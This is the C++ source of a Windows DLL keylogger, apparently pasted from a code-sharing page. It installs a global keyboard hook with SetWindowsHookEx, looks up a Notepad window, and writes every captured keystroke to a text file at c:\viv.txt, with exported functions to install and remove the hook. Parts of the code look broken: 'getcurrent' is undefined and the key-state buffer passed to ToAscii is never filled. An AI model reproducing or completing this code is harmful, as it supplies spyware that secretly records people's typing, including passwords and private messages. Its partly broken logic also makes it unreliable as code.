1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
|
#include "main.h"
#include<fstream>
using namespace std;
// a sample exported function
void DLL_EXPORT SomeFunction(const LPCSTR sometext)
{
MessageBoxA(0, sometext, "DLL Message", MB_OK | MB_ICONINFORMATION);
}
static HHOOK hkb=NULL;
FILE *f1;
HINSTANCE hins;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
hins = hinstDLL;
// attach to process
// return FALSE to fail DLL load
break;
case DLL_PROCESS_DETACH:
// detach from process
break;
case DLL_THREAD_ATTACH:
// attach to thread
break;
case DLL_THREAD_DETACH:
// detach from thread
break;
}
return TRUE; // succesful
}
fstream fout;
LRESULT KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
fout<<"here";
fout<<nCode<<" "<<wParam<<" "<<lParam<<endl;
if (nCode < 0 || nCode != HC_ACTION)
return CallNextHookEx(hkb, nCode, wParam, lParam);
if (((DWORD)lParam & 0x80000000) &&(HC_ACTION == nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
BYTE ks[256];
WORD w;
ToAscii(wParam,0,ks,&w,0);
char ch = char(w);
if(fout.is_open())
{
fout<<ch;
}
}
}
return CallNextHookEx(hkb, nCode, wParam, lParam);
}
extern "C" BOOL DLL_EXPORT installhook()
{
fout.open("c:\\viv.txt",ios::app);
HWND targetWnd;
HANDLE hProcess;
unsigned long processID = 0;
targetWnd = FindWindowA("Notepad",NULL);
DWORD ID = GetWindowThreadProcessId(targetWnd, &processID);
//SetLastError(0);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,getcurrent);
int jx = GetLastError();
return TRUE;
}
extern "C" BOOL DLL_EXPORT UnHook()
{
BOOL unhooked = UnhookWindowsHookEx(hkb);
fout.close();
return unhooked;
}
| |